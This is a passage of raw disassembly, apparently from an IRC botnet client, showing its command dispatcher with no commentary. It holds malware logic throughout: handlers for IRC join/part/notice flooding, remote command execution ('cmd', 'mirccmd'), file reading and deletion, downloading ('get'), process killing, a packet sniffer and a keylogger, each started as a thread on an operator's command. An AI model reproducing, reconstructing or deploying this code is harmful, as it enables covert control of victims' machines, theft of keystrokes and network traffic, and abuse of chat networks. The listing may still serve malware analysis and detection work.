esp, 0Ch lea eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C4] push offset unk_42B9E4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B3BA add esp, 18h mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset byte_40BB65 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_404BA0 loc_404B8A: ; CODE XREF: sub_401ACD+30D1j cmp [ebp+var_13E0], ebx jnz loc_4081AD push 32h nop call near ptr 2680000h jmp short loc_404B8A ; --------------------------------------------------------------------------- loc_404BA0: ; CODE XREF: sub_401ACD+30BBj nop call near ptr 2680880h push eax push offset unk_42B9A4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aRin ; "rin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4057B7 nop call near ptr 2690794h push eax call sub_41C2B8 push edi push offset aLoad ; "load" call sub_41CA50 add esp, 0Ch test eax, eax jnz short loc_404CB7 cmp [ebp+esi+var_80], ebx jz short loc_404CB7 push [ebp+esi+var_80] call sub_41C159 pop ecx push eax push [ebp+esi+var_84] call sub_41C159 pop ecx push eax push [ebp+esi+var_88] call sub_417E06 add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B93C push eax call sub_41C266 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CB7 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_404CB7: ; CODE XREF: sub_401ACD+3173j ; sub_401ACD+3179j ... push edi push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D21 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D21 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_47F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D21: ; CODE XREF: sub_401ACD+31F9j ; sub_401ACD+3204j push edi push offset dword_42B920 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D8B mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D8B push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4AF4] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B90C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D8B: ; CODE XREF: sub_401ACD+3263j ; sub_401ACD+326Ej push edi push offset aNt ; "nt" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404DF5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DF5 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_48F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404DF5: ; CODE XREF: sub_401ACD+32CDj ; sub_401ACD+32D8j push edi push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E5F mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E5F push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4FF8] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404E5F: ; CODE XREF: sub_401ACD+3337j ; sub_401ACD+3342j push edi push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E9C mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404E9C push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404E9C: ; CODE XREF: sub_401ACD+33A1j ; sub_401ACD+33ACj push edi push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404ED9 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404ED9 push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404ED9: ; CODE XREF: sub_401ACD+33DEj ; sub_401ACD+33E9j push edi push offset aPartflood ; "partflood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F1B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F1B push offset dword_427620 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404F1B: ; CODE XREF: sub_401ACD+341Bj ; sub_401ACD+3426j push edi push offset aPnick ; "pnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F92 cmp [ebp+esi+var_88], ebx jz short loc_404F92 nop call near ptr 2690794h push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42B89C push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404F92: ; CODE XREF: sub_401ACD+345Dj ; sub_401ACD+3466j push edi push offset dword_42B888 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4050E9 cmp [ebp+esi+var_88], ebx jz loc_4050E9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427620 push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2680000h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2680000h push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 0C8h idiv ecx push edx nop call near ptr 2680000h push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4050E9: ; CODE XREF: sub_401ACD+34D4j ; sub_401ACD+34E1j push edi push offset dword_42B884 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405181 cmp [ebp+esi+var_88], ebx jz short loc_405181 nop call near ptr 2690794h push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B85C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 24h loc_405181: ; CODE XREF: sub_401ACD+362Bj ; sub_401ACD+3638j push edi push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405289 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405289 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F lea eax, [ebp+var_4BC] push eax call sub_417E84 add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680000h lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 1F4h idiv ecx push edx call near ptr 2680000h nop lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_405289: ; CODE XREF: sub_401ACD+36C3j ; sub_401ACD+36D2j push edi push offset aChgnick ; "chgnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4052CE lea eax, [ebp+var_180C] push eax call sub_417E84 pop ecx lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4052CE: ; CODE XREF: sub_401ACD+37CBj push edi push offset aMsg ; "msg" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4053C3 cmp [ebp+esi+var_88], ebx jz loc_4053C3 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2680000h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2680000h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4053C3: ; CODE XREF: sub_401ACD+3810j ; sub_401ACD+381Dj push edi push offset aNotice_0 ; "notice" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4054B8 cmp [ebp+esi+var_88], ebx jz loc_4054B8 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx call near ptr 2680000h nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx call near ptr 2680000h nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4054B8: ; CODE XREF: sub_401ACD+3905j ; sub_401ACD+3912j push edi push offset aCtcp ; "ctcp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4055D9 cmp [ebp+esi+var_88], ebx jz loc_4055D9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 2680000h nop push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7FC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680000h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680000h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4055D9: ; CODE XREF: sub_401ACD+39FAj ; sub_401ACD+3A07j push edi push offset aMix ; "mix" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405709 cmp [ebp+esi+var_88], ebx jz loc_405709 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680000h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680000h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680000h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_405709: ; CODE XREF: sub_401ACD+3B1Bj ; sub_401ACD+3B28j push edi push offset aRegister ; "register" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40574D mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40574D push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj ; sub_401ACD+3C56j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40619B mov [ebp+arg_18], offset dword_4D4A5C loc_405769: ; CODE XREF: sub_401ACD+3CC0j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577F mov eax, [eax] cmp eax, ebx jbe short loc_40577F push eax call dword_4CBA6C loc_40577F: ; CODE XREF: sub_401ACD+3CA3j ; sub_401ACD+3CA9j add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4DB17C jl short loc_405769 cmp [ebp+var_8], ebx jnz loc_40619B push ebx push [ebp+var_4] push offset unk_42B784 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_40619B ; --------------------------------------------------------------------------- loc_4057B7: ; CODE XREF: sub_401ACD+3151j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aN ; "n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aJ ; "j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aPt ; "pt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aRaw ; "raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aPr ; "pr" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aOpen ; "open" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aO ; "o" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aServer ; "server" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aSe ; "se" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aDns ; "dns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aDn ; "dn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKp ; "kp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKill ; "kill" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aKi ; "ki" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aDel ; "del" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aGet ; "get" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aGt ; "gt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aList ; "list" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aLi ; "li" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aVisit ; "visit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aV ; "v" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aCm ; "cm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aRf ; "rf" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C9F push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C67 push 20h call sub_40B602 test eax, eax pop ecx jle short loc_405B91 push offset dword_42B68C jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405B91: ; CODE XREF: sub_401ACD+40B8j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD3 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405BD3 mov esi, [ebp+var_88] loc_405BD3: ; CODE XREF: sub_401ACD+40E8j ; sub_401ACD+40FEj push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B65C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B3BA add esp, 14h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset byte_412B61 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405C56 loc_405C40: ; CODE XREF: sub_401ACD+4187j cmp [ebp+var_ECC], ebx jnz loc_4081AD push 32h nop call near ptr 2680000h jmp short loc_405C40 ; --------------------------------------------------------------------------- loc_405C56: ; CODE XREF: sub_401ACD+4171j nop call near ptr 2680880h push eax push offset dword_42B620 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C67: ; CODE XREF: sub_401ACD+40A8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 20h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405C95 push eax push offset dword_42B5E4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C95: ; CODE XREF: sub_401ACD+41BBj push offset dword_42B5B8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405C9F: ; CODE XREF: sub_401ACD+4093j push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DEF push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DB7 push 21h call sub_40B602 test eax, eax pop ecx jle short loc_405CE1 push offset unk_42B590 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405CE1: ; CODE XREF: sub_401ACD+4208j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D23 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405D23 mov esi, [ebp+var_88] loc_405D23: ; CODE XREF: sub_401ACD+4238j ; sub_401ACD+424Ej push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B564 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B3BA add esp, 14h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131EC push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405DA6 loc_405D90: ; CODE XREF: sub_401ACD+42D7j cmp [ebp+var_E38], ebx jnz loc_4081AD push 32h nop call near ptr 2680000h jmp short loc_405D90 ; --------------------------------------------------------------------------- loc_405DA6: ; CODE XREF: sub_401ACD+42C1j call near ptr 2680880h nop push eax push offset unk_42B528 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DB7: ; CODE XREF: sub_401ACD+41F8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 21h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405DE5 push eax push offset unk_42B4EC jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DE5: ; CODE XREF: sub_401ACD+430Bj push offset unk_42B4C0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405DEF: ; CODE XREF: sub_401ACD+41E3j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405EC2 push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405E8A push 2 call sub_40B602 test eax, eax pop ecx jle short loc_405E2D push offset dword_42B498 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405E2D: ; CODE XREF: sub_401ACD+4354j lea eax, [ebp+var_2C4] push offset dword_42B46C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_410BFD push ebx push ebx nop call near ptr 2680089h imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz loc_4081AD nop call near ptr 2680880h push eax push offset dword_42B438 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405E8A: ; CODE XREF: sub_401ACD+4348j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 2 call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405EB8 push eax push offset dword_42B400 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405EB8: ; CODE XREF: sub_401ACD+43DEj push offset dword_42B3E0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405EC2: ; CODE XREF: sub_401ACD+4333j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aNet ; "net" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40616D cmp dword_4CBAA4, ebx jz short loc_405F4F cmp dword_4CBACC, ebx jz short loc_405F4F push offset unk_42B388 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405F4F: ; CODE XREF: sub_401ACD+446Ej ; sub_401ACD+4476j cmp [ebp+var_C], ebx jz loc_406BFE mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F77 push eax push [ebp+var_C] call sub_41C2E0 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F77: ; CODE XREF: sub_401ACD+449Aj push edi push offset aStart ; "start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FC3 cmp [ebp+arg_18], ebx jz short loc_405F97 push [ebp+arg_0] push 3 jmp loc_406021 ; --------------------------------------------------------------------------- loc_405F97: ; CODE XREF: sub_401ACD+44BEj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418EA8 add esp, 0Ch test eax, eax jz short loc_405FB9 push offset unk_42B35C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FB9: ; CODE XREF: sub_401ACD+44E0j push offset unk_42B33C jmp loc_4084F5 ; 